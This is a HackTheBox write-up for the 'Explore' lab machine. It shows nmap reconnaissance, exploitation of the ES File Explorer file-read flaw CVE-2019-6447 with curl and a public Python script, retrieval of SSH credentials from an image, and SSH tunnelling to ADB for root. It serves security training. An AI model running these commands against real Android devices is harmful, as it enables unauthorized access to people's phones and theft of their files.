HackTheBox - Explore
This article is a part of:
Explore features an ES File Explorer that is vulnerable to Arbitrary File Read, allowing me to obtain a picture containing SSH credentials. Enumerating the system reveals that the machine has debug mode enabled and ADB daemon running, these two can then be leveraged to obtain root access via ADB client.
Skills Learned
- Exploiting ES File Explorer vulnerability
- Android enumeration and exploitation
Tools
- Nmap
- Adb
Reconnaissance
Nmap
Nmap scan on TCP ports discovers 5 open ports:
- SSH on port 2222
- For port 5555, nmap identifies it as freeciv, but judging based on the OS, this can be ADB1.
- The rest 37817, 42135, and 59777 are HTTP servers.
→ root@kali «explore» «10.10.14.32»
$ nmap -p- --min-rate 1000 --reason -oA nmap/all-tcp-explorer 10.10.10.247
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 17:39 EDT
Nmap scan report for 10.10.10.247
Host is up, received reset ttl 63 (0.057s latency).
Not shown: 65530 closed ports
Reason: 65530 resets
PORT STATE SERVICE REASON
2222/tcp open EtherNetIP-1 syn-ack ttl 63
5555/tcp filtered freeciv no-response
37817/tcp open unknown syn-ack ttl 63
42135/tcp open unknown syn-ack ttl 63
59777/tcp open unknown syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 38.81 seconds
→ root@kali «explore» «10.10.14.32»
$ nmap -p2222,5555,37817,42135,59777 -sC -sV -oA nmap/all-tcp-script-explorer 10.10.10.247
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 17:47 EDT
Nmap scan report for 10.10.10.247
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
37817/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:36 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Sun, 27 Jun 2021 21:47:36 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Sun, 27 Jun 2021 21:47:41 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:41 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.80%I=7%D=6/27%Time=60D8F1F8%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port37817-TCP:V=7.80%I=7%D=6/27%Time=60D8F1F8%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sun,\x20
...[SNIP]...
Service Info: Device: phone
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.79 secondsEnumeration
TCP 37817
No reply given from 37817, it showed in a close state when I tried to rescan it.
TCP 59777 & 42135 - ES File Explorer
If I search for port 59777 and 42135 on Google, the results show that these ports are belong to ES File Explorer.
Interacting with port 59777 from the browser gives me the response below, and no further information given.
If I use nc, port 59777 returns with a forbidden error message.
→ kali@kali «explore» «10.10.14.83»
$ nc 10.10.10.247 59777
GET /
HTTP/1.0 403 Forbidden
Content-Type: text/plain
Date: Sun, 9 Jul 2021 22:32:42 GMT
FORBIDDEN: No directory listingFor port 42135, interacting with it from nc or the browser both returns 404 not found message.
→ kali@kali «explore» «10.10.14.83»
$ nc 10.10.10.247 42135
GET / HTTP/1.1
HTTP/1.1 404 Not Found
Server: ES Name Response Server
Content-Type: text/html
Content-Length: 9
Connection: close
Not foundFinding Vulnerabilities
On Exploit-DB, there is one recent exploit for ES File Explorer, which was released 3 days after this box. This looks promising,
Foothold
Shell as kristi
ES File Explorer CVE-2019-6447
The arbitrary file read vulnerability on ES File Explorer 4.1.9.7.4 is classified as CVE-2019-6447. This articles explains about the vulnerability, but I will just quote its overview part which states that:
The ES file browser creates an HTTP service bound to port 59777 at runtime, which provides 10+ commands for accessing data in user’s cell phone and executing the application; however, the service does not check this request. Test, resulting in a security breach.
I can test for the vulnerability by sending a HTTP POST request containing one of the available commands like getDeviceInfo to http://10.10.10.247:59777:
→ kali@kali «explore» «10.10.14.83»
$ curl -d '{"command":"getDeviceInfo"}' http://10.10.10.247:59777
{"name":"VMware Virtual Platform", "ftpRoot":"/sdcard", "ftpPort":"3721"}And it was vulnerable!
This time I will grab this exploit. When sending listPics command, it returns with one interesting file name called creds.jpg
→ kali@kali «exploits» «10.10.14.83»
$ python3 esfile_cve2019-6447.py listPics 10.10.10.247
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)
name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)The file can be downloaded with getFile command and then supply the file path as the last argument.
→ kali@kali «exploits» «10.10.14.83»
$ python3 esfile_cve2019-6447.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
[+] Downloading file...
[+] Done. Saved as `out.dat`.The saved image contains a set of creds: kristi:Kr1sT!5h@Rp3xPl0r3!
SSH - Kristi
These credentials works on SSH.
→ kali@kali «exploits» «10.10.14.83»
$ ssh -p 2222 kristi@10.10.10.247
Password authentication
Password:
:/ $ whoami && id && hostname
u0_a76
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
localhostThe username appeared as u0_a76 because each application on Android starting from OS 6.0+ is sandboxed. In this case, the SSH server is a sandboxed application.
The user flag found at /sdcard/user.txt.
:/sdcard $ ls -la
total 68
drwxrwx--- 15 root everybody 4096 2021-04-21 02:12 .
drwx--x--x 4 root everybody 4096 2021-03-13 17:16 ..
drwxrwx--- 5 root everybody 4096 2021-03-13 17:30 .estrongs
-rw-rw---- 1 root everybody 72 2021-07-09 07:16 .userReturn
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Alarms
drwxrwx--- 3 root everybody 4096 2021-03-13 17:16 Android
drwxrwx--- 2 root everybody 4096 2021-04-21 02:38 DCIM
drwxrwx--- 2 root everybody 4096 2021-03-13 17:37 Download
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Movies
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Music
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Notifications
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Pictures
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Podcasts
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Ringtones
drwxrwx--- 3 root everybody 4096 2021-03-13 17:30 backups
drwxrwx--- 2 root everybody 4096 2021-04-21 02:12 dianxinos
-rw-rw---- 1 root everybody 33 2021-03-13 18:28 user.txt
:/sdcard $ cat user.txt
f3201...[SNIP]...Privilege Escalation
Shell as root
Privilege Escalation via ADB
While enumerating the system, I found a xbin directory under /system.
:/system $ ls -l
total 212
drwxr-xr-x 41 root root 4096 2020-03-25 00:26 app
drwxr-xr-x 3 root shell 8192 2020-03-25 00:26 bin
-rw------- 1 root root 2824 2020-03-24 23:39 build.prop
...[SNIP]...
drwxr-xr-x 2 root shell 8192 2020-03-25 00:26 xbinFrom my past experience with Android devices (esp during my time as an active xDA member around 2011~2013), /system/xbin or /system/xbin/su is commonly found on rooted devices. This could be a hint2 that the system was rooted.
As I stated previously, Android wouldn’t allow this sandboxed user, u0_a76, to execute the su binary. But on rooted devices, some might have a debug mode enabled. If that was the case here, gaining a root shell through ADB (android debug bridge) would be possible.
To confirm that, I checked for listening services.
:/ $ netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program Name
tcp 0 1 10.10.10.247:60138 1.0.0.1:853 SYN_SENT -
tcp 0 1 10.10.10.247:48216 1.1.1.1:853 SYN_SENT -
tcp6 0 0 :::42135 :::* LISTEN -
tcp6 0 0 :::59777 :::* LISTEN -
tcp6 0 0 ::ffff:10.10.10.2:33035 :::* LISTEN -
tcp6 0 0 :::2222 :::* LISTEN 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:38415 :::* LISTEN -
tcp6 0 0 :::5555 :::* LISTEN -
tcp6 0 0 ::ffff:127.0.0.1:5555 ::ffff:127.0.0.1:56602 ESTABLISHED -
tcp6 0 0 ::ffff:127.0.0.1:56604 ::ffff:127.0.0.1:5555 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:5555 ::ffff:127.0.0.1:56604 ESTABLISHED -
tcp6 0 624 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.2:55618 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:56602 ::ffff:127.0.0.1:5555 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.2:55602 ESTABLISHED 3405/net.xnano.android.sshserverThere was port 5555 open, which is the default port for ADB. This confirmed that ADB was services was running.
Accessing ADB via SSH tunneling
As I only had ADB on my Windows, I tunneled the connection to ADB through two SSH hops:
Windows:5555 <-SSH-> Kali:5555 <-SSH-> Explorer:5555On my Windows:
$ ssh kali -L 5555:localhost:5555On Kali:
$ ssh -p 2222 kristi@10.10.10.247 -L 5555:localhost:5555This exposed the target’s ADB service on my Windows at localhost:5555.
Connecting to ADB
Back on my Windows, I connected to the Explore’s ADB server which was now accessible over port 5555 on my localhost.
explore › adb tcpip 5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
restarting in TCP mode port: 5555
explore › adb connect localhost:5555
connected to localhost:5555
explore › adb devices
List of devices attached
localhost:5555 deviceI could access the adb shell with:
explore › adb -s localhost:5555 shell
x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0Since the device was rooted, switching to root was trivial
x86_64:/ $ su
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0The root flag can be found using the following command:
:/ # find / -type f -name "root.txt" 2>/dev/null
/data/root.txt
:/ # cat /data/root.txt
f04fc...[SNIP]...